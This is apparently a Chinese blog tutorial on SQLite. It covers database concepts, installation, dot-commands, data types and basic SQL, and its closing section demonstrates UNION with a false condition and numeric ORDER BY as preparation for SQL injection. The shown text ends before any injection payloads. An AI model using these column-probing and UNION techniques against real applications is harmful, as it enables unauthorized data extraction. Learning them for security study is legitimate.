一天学完SQLite数据库与其注入方式

已于 2022-05-12 21:58:18 修改
阅读量1.2k 收藏 5
点赞数 1
分类专栏： Web安全 文章标签： 数据库 sqlite database
于 2022-05-11 21:24:05 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52643498/article/details/124719296
版权

初战SQLite数据库

0x01 关系型数据库

介绍

关系型数据库：是指采⽤了关系模型来组织数据的数据库，关系模型只包含单一的数据结构——关系。在用户看来，关系模型中的数据的逻辑结构就是一张扁平的二维表，想要弄清楚这个模型，就需要一定的集合代数的知识

  1. 域（Di）：是一组相同数据类型的值的集合

    image-20220510170031981

  2. 笛卡尔积（Di × Dj）：是域上的一种集合运算

    image-20220510170052025

    笛卡尔积可以表示为一张二维表，表中的每一行对应一个元组，每一列的值表示一个域

  3. 关系：D1 × D2 × … × Dn的子集称作在域 D1，D2，…，Dn上的关系，表示为R(D1, D2, …, Dn)

    image-20220510170606803

  4. 关系模式：对关系的描述

    image-20220510170906240

    关系模式通过可以简记为 R(U) 或 R(A1, A2, …, An) ，其中R为关系名，A1, A2, …, An为属性名

我们继续说回关系数据库上面来，关系型数据库也有型和值之分

  • 关系数据库的型也称为关系数据库模式，是对关系数据库的描述。关系数据库模式包括若干域的定义，以及在这些域上定义的若干关系模式
  • 关系数据库的值是这些关系模式在某一时刻对应的关系的集合，通常就成为关系数据库

值得一提的是，通过上面的讲解，我们知道了在关系数据模型中实体与实体间的联系都用表来表示，即表为关系数据的逻辑模型。但是在关系数据库的物理组织中，有的关系数据库管理系统中的一个表对应一个操作系统文件，将物理数据组织交给操作系统完成；有的关系数据库管理系统从操作系统那里申请了若干个大的文件，自己划分文件空间，组织表、索引等存储结构，并进行存储管理

我们用通俗的语句总结一下关系模型中的常用概念：

  • 关系：⼀张⼆维表，每个关系都具有⼀个关系名，也就是表名
  • 元组：⼆维表中的⼀⾏，在数据库中被称为记录
  • 属性：⼆维表中的⼀列，在数据库中被称为字段，属性必须为同一个域下的值
  • 域：属性的取值范围，也就是数据库中某⼀列的取值限制
  • 关键字：⼀组可以唯⼀标识元组的属性，数据库中常称为主键，由⼀个或多个列组成
  • 关系模式：指对关系的描述。其格式为：关系名(属性1, 属性2, ..., 属性N)，在数据库中被称为表结构

ACID 原则

数据库事务必须具备 ACID 特性， ACID 分别是Atomic原⼦性， Consistency ⼀致性， Isolation 隔离性， Durability 持久性

它们描述了对分布式数据库的一致性需求，同时付出了可用性的代价

  • Atomicity：每次操作是原子的，要么成功，要么不执行；
  • Consistency：数据库的状态是一致的，无中间状态；
  • Isolation：各种操作彼此互相不影响；
  • Durability：状态的改变是持久的，不会失效

优点

  • 容易理解：二维表结构十分贴近逻辑世界
  • 使用方便：通⽤的SQL语⾔使得操作关系型数据库⾮常⽅便
  • 易于维护：拥有完整性约束

缺点

  • 性能欠佳：表查询的效率较低
  • 难以横向扩展：只能新增一个表

主流关系型数据库

Oracle | MsSQL | MySQL | PostgreSQL | DB2 | Access | SQLite | MariaDB（MySQL的一个分支）

0x02 非关系型数据库

Tips：Nosql泛指非关系型数据库

介绍

非关系型数据库：指⾮关系型的，分布式的，且⼀般不保证遵循ACID原则的数据存储系统。⾮关系型数据库以键值对存储，且结构不固定，每⼀个元组可以有不⼀样的字段，每个元组可以根据需要增加⼀些⾃⼰的键值对，不局限于固定的结构，可以减少⼀些时间和空间的开销。

优点

  1. 用户可以根据需求添加自己需要的字段
  2. 适用于SNS(Social Networking Services)，即功能的增加，往往意味着数据结构巨⼤变动的场景

缺点

  1. 只适合存储⼀些较为简单的数据，不适合存取需要较为复杂查询的数据
  2. 不适合持久存储海量数据

分类

面向高性能并发读写的key-value数据库

特点：是一种以键值对存储数据的一种数据库，类似于Java中的map

作用：具有极高的并发读写性能

代表：Redis

面向海量数据访问的面向文档数据库

特点：⽂档存储通常使⽤内部表⽰法，可以直接在应⽤程序中处理，主要是JSON

作用：可以在海量的数据中快速的查找数据

代表：MongoDB

面向搜索数据内容的搜索引擎

特点：是专⻔⽤于搜索数据内容的NoSQL数据库管理系统

作用：主要是⽤于对海量数据进⾏近实时的处理和分析处理，可⽤于机器学习和数据挖掘

代表：Solr

面向可扩展性的分布式数据库

特点：它是以列为单位来存储数据的，可以解决传统数据库存在可扩展性上的缺陷

作用：这类数据库可以适应数据量的增加以及数据结构的变化，将数据存储在记录中，能够容纳⼤量动态列。由于列名和记录键不是固定的，并且由于记录可能有数⼗亿列，因此可扩展性存储可以看作是⼆维键值存储

代表：HBase

关系型数据库与非关系型数据库的比较

比较值关系型数据库非关系型数据库
成本需要花费大量成本简单易部署 开源/价值便宜
查询速度数据存储在硬盘中，查询速度较慢数据存储在缓存中，查询速度较快
存储格式只支持基础类型可以是各种格式
扩展性有类似于join的多表查询机制导致扩展较为困难数据之间没有耦合性，非常容易水平扩展
持久存储使用，所以海量数据存储只能是关系型数据库不使用
数据一致性数据强一致性数据最终一致性，不支持事务处理

0x03 Windows环境中SQLite的安装

之前接触过Mysql，所以这里就不选择Mysql进行学习。本来是想学使用人数最多的Oracle的，但是5GB的安装包直接劝退，所以就选择学习SQLite这个较为容易安装的数据库，其实用Docker都是几条命令的事，但是还是想自己先装一遍试试

环境：Windows10

安装

进入官网下载压缩包

image-20220510194531592

将压包中的文件集中放到一个文件夹下

image-20220510194745041

配置

C:\Users\hikki
λ path=%path%;E:\sqlite			# 注: 通过命令将路径加入用户环境变量

C:\Users\hikki
λ sqlite3
SQLite version 3.36.0 2021-06-18 18:36:39
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite>

其实在没有配环境变量的时候，我就发现电脑里面好像可以直接执行这个命令，然后用everything查了一下

image-20220510195632533

无语了，早知道不装了

设计介绍

不是常见的CS架构的DBMS，SQLite引擎不是一个应用程序与之通信的独立进程，即不需要使用IP加端口号进行连接

SQLite库链接到程序中，并成为它的一个组成部分。这个库也可被动态链接。应用程序经由编程语言内的直接API调用来使用SQlite的功能，这在减少数据库访问延迟上有积极作用，因为在一个单一进程中的函数调用比跨进程通信更有效率。

如此设计就导致了我们使用数据库管理软件只需要指定一个数据库文件就能连接，我们以Navicat为例在下方演示

连接数据库管理软件

  1. 创建一个db文件

    image-20220510201350669

  2. 进行连接

    image-20220510201412807

0x04 SQLite基础教程

① - SQLite命令

SQLite编程人员所使用的简单而有效的命令：SQLite点命令，它们以.开头但不以;结束，在SQLite命令行下可以执行，但不支持在Navicat中使用

.help命令

通过该命令，可以显示各种重要的 SQLite 点命令的列表

image-20220510230117048

具体解释详见：SQLite 命令 | 菜鸟教程 (runoob.com)

.show命令

通过该命令，可以查看 SQLite 命令提示符的默认设置

image-20220510230217053

.quit命令

通过该命令，可以退出命令行模式

image-20220511000152608

美化输出格式

通过以下命令来可以美化输出格式

sqlite>.header on
sqlite>.mode column
sqlite>.timer on
sqlite>

image-20220511002430908

② - SQLite语法

  1. SQLite大小写不敏感，但是部分关键字大小写敏感
  2. 单行注释：--
  3. 多行注释：/* */
  4. SQLite语句均以;结束

③ - 数据类型

SQLite是一个弱类型语言，它使用一个更普遍的动态类型系统。在 SQLite 中，值的数据类型与值本身是相关的，而不是与它的容器相关。

SQLite存储类

存储类描述
NULL值是一个 NULL 值。
INTEGER值是一个带符号的整数，根据值的大小存储在 1、2、3、4、6 或 8 字节中。
REAL值是一个浮点值，存储为 8 字节的 IEEE 浮点数字。
TEXT值是一个文本字符串，使用数据库编码（UTF-8、UTF-16BE 或 UTF-16LE）存储。
BLOB值是一个 blob 数据，完全根据它的输入存储。

由于SQLite采用的是动态数据类型，所以SQLite存储类并不具有强制性。但是为了最大化SQLite和其它数据库引擎之间的数据类型兼容性，SQLite提出了"类型亲缘性(Type Affinity)"的概念。这个我们可以这样理解，在表字段被声明之后，SQLite都会根据该字段声明时的类型为其选择一种亲缘类型，当数据插入时，该字段的数据将会优先采用亲缘类型作为该值的存储方式，除非亲缘类型不匹配或无法转换当前数据到该亲缘类型，这样SQLite才会考虑其它更适合该值的类型存储该值。

SQLite 亲和(Affinity)类型

亲和类型描述
TEXT数值型数据在被插入之前，需要先被转换为文本格式，之后再插入到目标字段中。
NUMERIC当文本数据被插入到亲缘性为NUMERIC的字段中时，如果转换操作不会导致数据信息丢失以及完全可逆，那么SQLite就会将该文本数据转换为INTEGER或REAL类型的数据，如果转换失败，SQLite仍会以TEXT方式存储该数据。对于NULL或BLOB类型的新数据，SQLite将不做任何转换，直接以NULL或BLOB的方式存储该数据。需要额外说明的是，对于浮点格式的常量文本，如"30000.0"，如果该值可以转换为INTEGER同时又不会丢失数值信息，那么SQLite就会将其转换为INTEGER的存储方式。
INTEGER对于亲缘类型为INTEGER的字段，其规则等同于NUMERIC，唯一差别是在执行CAST表达式时。
REAL其规则基本等同于NUMERIC，唯一的差别是不会将"30000.0"这样的文本数据转换为INTEGER存储方式。
NONE不做任何的转换，直接以该数据所属的数据类型进行存储。

字段的亲缘性是根据该字段在声明时被定义的类型来决定的，具体的规则可以参照以下列表。需要注意的是以下列表的顺序，即如果某一字段类型同时符合两种亲缘性，那么排在前面的规则将先产生作用。

  1. 如果类型字符串中包含"INT"，那么该字段的亲缘类型是INTEGER。
  2. 如果类型字符串中包含"CHAR"、“CLOB"或"TEXT”，那么该字段的亲缘类型是TEXT，如VARCHAR。
  3. 如果类型字符串中包含"BLOB"，那么该字段的亲缘类型是NONE。
  4. 如果类型字符串中包含"REAL"、“FLOA"或"DOUB”，那么该字段的亲缘类型是REAL。
  5. 其余情况下，字段的亲缘类型为NUMERIC。

Boolean数据类型

SQLite 没有单独的 Boolean 存储类。相反，布尔值被存储为整数 0（false）和 1（true）

Date和Time数据类型

SQLite 没有一个单独的用于存储日期和/或时间的存储类，但 SQLite 能够把日期和时间存储为 TEXT、REAL 或 INTEGER 值

存储类日期格式
TEXT格式为 “YYYY-MM-DD HH:MM:SS.SSS” 的日期。
REAL从公元前 4714 年 11 月 24 日格林尼治时间的正午开始算起的天数。
INTEGER从 1970-01-01 00:00:00 UTC 算起的秒数。

④ - 库操作

之前操作Navicat的时候，大家应该注意到了，SQLite没有数据库这个概念，而是通过一个文件代表一个数据库的方式来存储数据

创建数据库

方法一：cmd输入

语句：sqlite3 DatabaseName.db

如果当前目录下DatabaseName.db文件存在，则直接使用里面的数据；否则，将创建DatabaseName.db文件

方法二：进入sqlite3命令行模式后

语句：.open DatabaseName.db

如果当前目录下DatabaseName.db文件存在，则相当于Mysql中的use DatabaseName；否则，将创建DatabaseName.db文件，并且执行use DatabaseName

检查数据库

可以通过.database命令检查新建的数据库是否保存在数据库列表中

导出 / 导入数据库中的数据

导出：sqlite3 testDB.db .dump > testDB.sql

导入：sqlite3 testDB.db < testDB.sql

附加数据库

附加一个数据库，相当于当前可用使用这个数据库下所有的表，如果该数据库文件不存在，则会新建这个文件

语句：ATTACH DATABASE '新的数据库文件.db' as '别名';

sqlite> select * from COMPANY;
Run Time: real 0.000 user 0.000000 sys 0.000000
Error: no such table: COMPANY

sqlite> .databases
main: E:\sqlite\db\test02.db r/w

sqlite> attach database 'test01.db' as 'newtest';
Run Time: real 0.000 user 0.000000 sys 0.000000

sqlite> .database
main: E:\sqlite\db\test02.db r/w
newtest: E:\sqlite\db\test01.db r/w

sqlite> select * from COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   Paul   32   California  20000.0
2   Allen  25   Texas       15000.0
Run Time: real 0.003 user 0.000000 sys 0.000000

分离数据库

分离一个数据库，将导致这个数据库中的表将不再被运行访问，你不能分离main或temp数据库

语句：DETACH DATABASE '别名';

sqlite> .databases
main: E:\sqlite\db\test02.db r/w
newtest: E:\sqlite\db\test01.db r/w

sqlite> detach database 'newtest';
Run Time: real 0.001 user 0.000000 sys 0.000000

sqlite> .databases
main: E:\sqlite\db\test02.db r/w

⑤ - 表操作

创建表

CREATE TABLE database_name.table_name(
   column1 datatype  PRIMARY KEY(one or more columns),
   column2 datatype,
   column3 datatype,
   .....
   columnN datatype,
);

查看所有表

命令行语句语句：.table

编程语句： SELECT tbl_name FROM sqlite_master WHERE type = 'table';

sqlite> .table
COMPANY     DEPARTMENT

sqlite> SELECT tbl_name FROM sqlite_master WHERE type = 'table';
tbl_name
----------
DEPARTMENT
COMPANY

查看表结构

命令行语句：.schema TABLE_NAME

编程语句：SELECT sql FROM sqlite_master WHERE type = 'table' AND tbl_name = 'TABLE_NAME';

sqlite> CREATE TABLE COMPANY(                                  
   ...>    ID INT PRIMARY KEY     NOT NULL,                    
   ...>    NAME           TEXT    NOT NULL,                    
   ...>    AGE            INT     NOT NULL,                    
   ...>    ADDRESS        CHAR(50),                            
   ...>    SALARY         REAL                                 
   ...> );                                                     

sqlite> .tables                                                
COMPANY                                                        

sqlite> .schema COMPANY                                        
CREATE TABLE COMPANY(                                          
   ID INT PRIMARY KEY     NOT NULL,                            
   NAME           TEXT    NOT NULL,                            
   AGE            INT     NOT NULL,                            
   ADDRESS        CHAR(50),                                    
   SALARY         REAL                                         
);   

sqlite> SELECT sql FROM sqlite_master WHERE type = 'table' AND tbl_name = 'COMPANY';
sql
--------------------------------------------------------
CREATE TABLE COMPANY(
   ID INT PRIMARY KEY     NOT NULL,
   NAME           TEXT    NOT NULL,
   AGE            INT     NOT NULL,
   ADDRESS        CHAR(50),
   SALARY         REAL
)

删除表

语句：DROP TABLE database_name.table_name;

sqlite> .tables
COMPANY           newdb.COMPANY     newdb.DEPARTMENT

sqlite> drop table COMPANY;

sqlite> .tables
newdb.COMPANY     newdb.DEPARTMENT

如不指定数据库，则会默认删除main数据库中的表

如果出现同名表，也只会删除指定数据库中的表

⑥ - 数据操作

填充数据

语句

INSERT INTO TABLE_NAME [(column1, column2, column3,...columnN)]  
VALUES (value1, value2, value3,...valueN);

实例

sqlite> .schema COMPANY
CREATE TABLE COMPANY(
   ID INT PRIMARY KEY     NOT NULL,
   NAME           TEXT    NOT NULL,
   AGE            INT     NOT NULL,
   ADDRESS        CHAR(50),
   SALARY         REAL
);

sqlite> INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY)
   ...> VALUES (1, 'Paul', 32, 'California', 20000.00 );

sqlite> INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY)
   ...> VALUES (2, 'Allen', 25, 'Texas', 15000.00 );

查询数据

获取指定字段：SELECT column1, column2, columnN FROM table_name;

获取所有字段：SELECT * FROM table_name;

sqlite> .header on
sqlite> .mode column

sqlite> SELECT * FROM COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   Paul   32   California  20000.0
2   Allen  25   Texas       15000.0

sqlite> SELECT ID, NAME FROM COMPANY;
ID  NAME
--  -----
1   Paul
2   Allen

Distinct 关键字：用于消除重复数据

sqlite> SELECT AGE FROM COMPANY ORDER BY AGE;
AGE
---
20
22
23
24
24
25
25
27

sqlite> SELECT DISTINCT AGE FROM COMPANY ORDER BY AGE;
AGE
---
20
22
23
24
25
27

修改数据

语句

UPDATE table_name
SET column1 = value1, column2 = value2...., columnN = valueN
WHERE [condition];

实例

sqlite> SELECT * FROM COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   Paul   32   California  20000.0
2   Allen  25   Texas       15000.0

sqlite>  UPDATE COMPANY SET AGE = '20', NAME = 'H1kki' WHERE ID = 1;

sqlite> SELECT * FROM COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
2   Allen  25   Texas       15000.0

删除数据

语句：DELETE FROM table_name WHERE [condition];

sqlite> SELECT * FROM COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
2   Allen  25   Texas       15000.0

sqlite> DELETE FROM COMPANY WHERE ID = 2;

sqlite> SELECT * FROM COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0

⑦ - 运算符

算数运算符

假设变量 a=10，变量 b=20

运算符描述实例
+加法 - 把运算符两边的值相加a + b 将得到 30
-减法 - 左操作数减去右操作数a - b 将得到 -10
*乘法 - 把运算符两边的值相乘a * b 将得到 200
/除法 - 左操作数除以右操作数b / a 将得到 2
%取模 - 左操作数除以右操作数后得到的余数b % a will give 0

比较运算符

假设变量 a=10，变量 b=20

运算符描述实例
==检查两个操作数的值是否相等，如果相等则条件为真。(a == b) 不为真。
=检查两个操作数的值是否相等，如果相等则条件为真。(a = b) 不为真。
!=检查两个操作数的值是否相等，如果不相等则条件为真。(a != b) 为真。
<>检查两个操作数的值是否相等，如果不相等则条件为真。(a <> b) 为真。
>检查左操作数的值是否大于右操作数的值，如果是则条件为真。(a > b) 不为真。
<检查左操作数的值是否小于右操作数的值，如果是则条件为真。(a < b) 为真。
>=检查左操作数的值是否大于等于右操作数的值，如果是则条件为真。(a >= b) 不为真。
<=检查左操作数的值是否小于等于右操作数的值，如果是则条件为真。(a <= b) 为真。
!<检查左操作数的值是否不小于右操作数的值，如果是则条件为真。(a !< b) 为假。
!>检查左操作数的值是否不大于右操作数的值，如果是则条件为真。(a !> b) 为真。

逻辑运算符

运算符描述
ANDAND 运算符允许在一个 SQL 语句的 WHERE 子句中的多个条件的存在。
BETWEENBETWEEN 运算符用于在给定最小值和最大值范围内的一系列值中搜索值。
EXISTSEXISTS 运算符用于在满足一定条件的指定表中搜索行的存在。
ININ 运算符用于把某个值与一系列指定列表的值进行比较。
NOT ININ 运算符的对立面，用于把某个值与不在一系列指定列表的值进行比较。
LIKELIKE 运算符用于把某个值与使用通配符运算符的相似值进行比较。
GLOBGLOB 运算符用于把某个值与使用通配符运算符的相似值进行比较，GLOB与LIKE 不同之处在于，它是大小写敏感的。
NOTNOT 运算符是所用的逻辑运算符的对立面。比如 NOT EXISTS、NOT BETWEEN、NOT IN，等等。它是否定运算符。
OROR 运算符用于结合一个 SQL 语句的 WHERE 子句中的多个条件。
IS NULLNULL 运算符用于把某个值与 NULL 值进行比较。
ISIS 运算符与 = 相似。
IS NOTIS NOT 运算符与 != 相似。
||连接两个不同的字符串，得到一个新的字符串。
UNIQUEUNIQUE 运算符搜索指定表中的每一行，确保唯一性（无重复）。

位运算符

假设变量 A=60（00111100），变量 B=13（00001101）

运算符描述实例
&如果同时存在于两个操作数中，二进制 AND 运算符复制一位到结果中。(A & B) 将得到 12，即为 0000 1100
|如果存在于任一操作数中，二进制 OR 运算符复制一位到结果中。(A | B) 将得到 61，即为 0011 1101
~二进制补码运算符是一元运算符，具有"翻转"位效应，即0变成1，1变成0。(~A ) 将得到 -61，即为 1100 0011，一个有符号二进制数的补码形式。
<<二进制左移运算符。左操作数的值向左移动右操作数指定的位数。A << 2 将得到 240，即为 1111 0000
>>二进制右移运算符。左操作数的值向右移动右操作数指定的位数。A >> 2 将得到 15，即为 0000 1111

⑧ - 子句

WHERE子句

SQLite的 WHERE 子句用于指定从一个表或多个表中获取数据的条件，格式如下：

SELECT column1, column2, columnN 
FROM table_name
WHERE [condition]

当满足给定的条件时，则从表中返回特定的值

如：当使用SELECT语句时，只有满足条件的行会被输出；当使用DELETE语句时，只有满足条件的行会被删除

sqlite> SELECT * FROM COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
2   Allen  25   Texas       15000.0
3   Teddy  23   Norway      20000.0
4   Mark   25   Rich-Mond   65000.0
5   David  27   Texas       85000.0
6   Kim    22   South-Hall  45000.0
7   James  24   Houston     10000.0

sqlite> SELECT * FROM COMPANY WHERE ID=1 OR ID=2;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
2   Allen  25   Texas       15000.0

LIKE子句（使用了LIKE运算符的WHERE子句）

SQLite 的 LIKE 运算符是用来匹配通配符指定模式的文本值，与LIKE一起使用的通配符有两个：

  • %：代表0个，1个或多个字符
  • _：代表1个字符

注意：LIKE运算符是大小写不敏感的

常用案例

语句描述
WHERE SALARY LIKE ‘200%’查找以 200 开头的任意值
WHERE SALARY LIKE ‘%200%’查找任意位置包含 200 的任意值
WHERE SALARY LIKE ‘_00%’查找第二位和第三位为 00 的任意值
WHERE SALARY LIKE ‘2_%_%’查找以 2 开头，且长度至少为 3 个字符的任意值
WHERE SALARY LIKE ‘%2’查找以 2 结尾的任意值
WHERE SALARY LIKE ‘_2%3’查找第二位为 2，且以 3 结尾的任意值
WHERE SALARY LIKE ‘2___3’查找长度为 5 位数，且以 2 开头以 3 结尾的任意值
sqlite> SELECT * FROM COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
2   Allen  25   Texas       15000.0
3   Teddy  23   Norway      20000.0
4   Mark   25   Rich-Mond   65000.0
5   David  27   Texas       85000.0
6   Kim    22   South-Hall  45000.0
7   James  24   Houston     10000.0

sqlite> SELECT * FROM COMPANY WHERE SALARY LIKE '_0000.0';
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
3   Teddy  23   Norway      20000.0
7   James  24   Houston     10000.0

GLOB子句（使用了GLOB运算符的WHERE子句）

SQLite 的 GLOB 运算符相当于大小写敏感的 LIKE 运算符，与GLOB一起使用的通配符有两个：

  • *：代表0个，1个或多个字符
  • ?：代表1个字符
sqlite> SELECT * FROM COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
2   Allen  25   Texas       15000.0
3   Teddy  23   Norway      20000.0
4   Mark   25   Rich-Mond   65000.0
5   David  27   Texas       85000.0
6   Kim    22   South-Hall  45000.0
7   James  24   Houston     10000.0
8   james  24   Houston     10000.0

sqlite> SELECT * FROM COMPANY WHERE NAME LIKE 'J%';
ID  NAME   AGE  ADDRESS  SALARY
--  -----  ---  -------  -------
7   James  24   Houston  10000.0
8   james  24   Houston  10000.0

sqlite> SELECT * FROM COMPANY WHERE NAME GLOB 'J*';
ID  NAME   AGE  ADDRESS  SALARY
--  -----  ---  -------  -------
7   James  24   Houston  10000.0

LIMIT子句 / OFFSET子句

SQLite 的 LIMIT 子句用于限制由 SELECT 语句返回的数据数量，格式如下：

SELECT column1, column2, columnN 
FROM table_name
LIMIT [no of rows]

下面是 LIMIT 子句与 OFFSET 子句一起使用时的语法：

SELECT column1, column2, columnN 
FROM table_name
LIMIT [no of rows] OFFSET [row num]

LIMIT用于限制输出的数量，而OFFEST用于指定偏移量，即初始位置，如果OFFSET为1，则从第2条数据开始输出，OFFEST只能与LIMIT搭配使用，不能单独使用

sqlite> SELECT * FROM COMPANY;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
2   Allen  25   Texas       15000.0
3   Teddy  23   Norway      20000.0
4   Mark   25   Rich-Mond   65000.0
5   David  27   Texas       85000.0
6   Kim    22   South-Hall  45000.0
7   James  24   Houston     10000.0
8   james  24   Houston     10000.0

sqlite> SELECT * FROM COMPANY LIMIT 3;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
2   Allen  25   Texas       15000.0
3   Teddy  23   Norway      20000.0

sqlite> SELECT * FROM COMPANY LIMIT 3 OFFSET 1;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
2   Allen  25   Texas       15000.0
3   Teddy  23   Norway      20000.0
4   Mark   25   Rich-Mond   65000.0

⑨ - 排序与分组

ORDER BY

SQLite 的 ORDER BY 子句是用来基于一个或多个列按升序或降序顺序排列数据

SELECT column-list 
FROM table_name 
[WHERE condition] 
[ORDER BY column1, column2, .. columnN] [ASC | DESC];

ASC表示升序，DESC表示降序

sqlite> SELECT * FROM COMPANY ORDER BY age;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
6   Kim    22   South-Hall  45000.0
3   Teddy  23   Norway      20000.0
7   James  24   Houston     10000.0
8   james  24   Houston     10000.0
2   Allen  25   Texas       15000.0
4   Mark   25   Rich-Mond   65000.0
5   David  27   Texas       85000.0

sqlite> SELECT * FROM COMPANY ORDER BY salary DESC;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
5   David  27   Texas       85000.0
4   Mark   25   Rich-Mond   65000.0
6   Kim    22   South-Hall  45000.0
1   H1kki  20   California  20000.0
3   Teddy  23   Norway      20000.0
2   Allen  25   Texas       15000.0
7   James  24   Houston     10000.0
8   james  24   Houston     10000.0

GROUP BY

SQLite 的 GROUP BY 子句用于与 SELECT 语句一起使用，来对相同的数据进行分组，即将相同的数据分到一组，常用来与统计函数结合使用得到统计数据

SELECT column-list
FROM table_name
WHERE [ conditions ]
GROUP BY column1, column2....columnN
ORDER BY column1, column2....columnN

sqlite> SELECT count(ID), AGE FROM COMPANY GROUP BY AGE;
count(ID)  AGE
---------  ---
1          20
1          22
1          23
2          24
2          25
1          27

年龄为24岁的和25岁的分别由两人

Having子句

HAVING 子句允许指定条件来过滤将出现在最终结果中的分组结果。WHERE 子句在所选列上设置条件，而 HAVING 子句则在由 GROUP BY 子句创建的分组上设置条件

下面列出HAVING子句在SELECT查询语句中的位置

SELECT
FROM
WHERE
GROUP BY
HAVING
ORDER BY

在一个查询中，HAVING 子句必须放在 GROUP BY 子句之后，必须放在 ORDER BY 子句之前。

sqlite> SELECT count(ID), AGE FROM COMPANY GROUP BY AGE;
count(ID)  AGE
---------  ---
1          20
1          22
1          23
2          24
2          25
1          27

sqlite> SELECT count(ID), AGE FROM COMPANY GROUP BY AGE HAVING count(ID) > 1;
count(ID)  AGE
---------  ---
2          24
2          25

⑩ - SQLite常用函数

序号函数 & 描述
1SQLite COUNT 函数 SQLite COUNT 聚集函数是用来计算一个数据库表中的行数。
2SQLite MAX 函数 SQLite MAX 聚合函数允许我们选择某列的最大值。
3SQLite MIN 函数 SQLite MIN 聚合函数允许我们选择某列的最小值。
4SQLite AVG 函数 SQLite AVG 聚合函数计算某列的平均值。
5SQLite SUM 函数 SQLite SUM 聚合函数允许为一个数值列计算总和。
6SQLite RANDOM 函数
SQLite RANDOM 函数返回一个介于 -9223372036854775808 和 +9223372036854775807 之间的伪随机整数。
7SQLite ABS 函数 SQLite ABS 函数返回数值参数的绝对值。
8SQLite UPPER 函数 SQLite UPPER 函数把字符串转换为大写字母。
9SQLite LOWER 函数 SQLite LOWER 函数把字符串转换为小写字母。
10SQLite LENGTH 函数 SQLite LENGTH 函数返回字符串的长度。
11SQLite sqlite_version 函数 SQLite sqlite_version 函数返回 SQLite 库的版本。

⑪ - SQLite索引

索引（Index）是一种特殊的查找表，数据库搜索引擎用来加快数据检索。简单地说，索引是一个指向表中数据的指针

原理

参考：sqlite索引的原理 - 花老🐯 - 博客园 (cnblogs.com)

数据库有两列Col1、Col2。在存储时，按照列Col1组织各行，比如Col1已二叉树方式组织。如果查找col1中的某一个值，利用二叉树进行二分查找，不需要遍历整个数据库。而这样一来列Col2就是乱序的。为了解决这个问题，为Col2建立了索引，即把Col2也按照某种数据结构（这里是二叉树）组织起来。这样子查找列Col2时只需要进行二分查找即可。

创建索引

  • 单列索引：CREATE INDEX index_name ON table_name (column_name);

    单列索引是一个只基于表的一个列上创建的索引

  • 唯一索引：CREATE UNIQUE INDEX index_name on table_name (column_name);

    使用唯一索引不仅是为了性能，同时也为了数据的完整性。唯一索引不允许任何重复的值插入到表中

  • 组合索引：CREATE INDEX index_name on table_name (column1, column2);

    组合索引是基于一个表的两个或多个列上创建的索引

  • 隐式索引：隐式索引是在创建对象时，由数据库服务器自动创建的索引。索引自动创建为主键约束和唯一约束

删除索引

语法：DROP INDEX index_name;

使用索引进行查询

SELECT|DELETE|UPDATE column1, column2...
INDEXED BY (index_name)
table_name
WHERE (CONDITION);

0x05 SQLite高级教程

说白了就是为SQL注入实战做准备的基础知识，并不是一些数据库操作的高级技巧

① - UNION

SQLite的 UNION 子句/运算符用于合并两个或多个 SELECT 语句的结果，不返回任何重复的行

为了使用 UNION，每个 SELECT 被选择的列数必须是相同的，相同数目的列表达式，相同的数据类型，并确保它们有相同的顺序，但它们不必具有相同的长度

为了方便演示，我们先介绍一个小知识，就是如果执行SELECT 1,2,3,4,5，它将创建一个如下的表

sqlite> SELECT 1,2,3,4,5;
1  2  3  4  5
-  -  -  -  -
1  2  3  4  5

接下来介绍UNION子句，我对它的理解如下，A表 UNION B表，它们构成的虚拟表，表头是A表的表头，数据为A表的数据后跟随B表的数据，我们直接演示一遍来说明

sqlite> SELECT 1,2,3,4,5;
1  2  3  4  5
-  -  -  -  -
1  2  3  4  5

sqlite> SELECT 6,7,8,9,10;
6  7  8  9  10
-  -  -  -  --
6  7  8  9  10

sqlite> SELECT 1,2,3,4,5 UNION SELECT 6,7,8,9,10;
1  2  3  4  5
-  -  -  -  --
1  2  3  4  5
6  7  8  9  10

sqlite> SELECT 1,2,3,4,5 WHERE 1=2 UNION SELECT 6,7,8,9,10;
1  2  3  4  5
-  -  -  -  --
6  7  8  9  10

② - ORDER BY

ORDER BY子句后可以接数字代表排序的列的位置，如

sqlite> SELECT * FROM COMPANY ORDER BY 3;
ID  NAME   AGE  ADDRESS     SALARY
--  -----  ---  ----------  -------
1   H1kki  20   California  20000.0
6   Kim    22   South-Hall  45000.0
3   Teddy  23   Norway      20000.0
7   James  24   Houston     10000.0
8   james  24   Houston     10000.0
2   Allen  25   Texas       15000.0
4   Mark   25   Rich-Mond   65000.0
5   David  27   Texas       85000.0

即，根据第三个字段，也就是AGE字段进行排序，但是如果超出了表的列数，则会报错

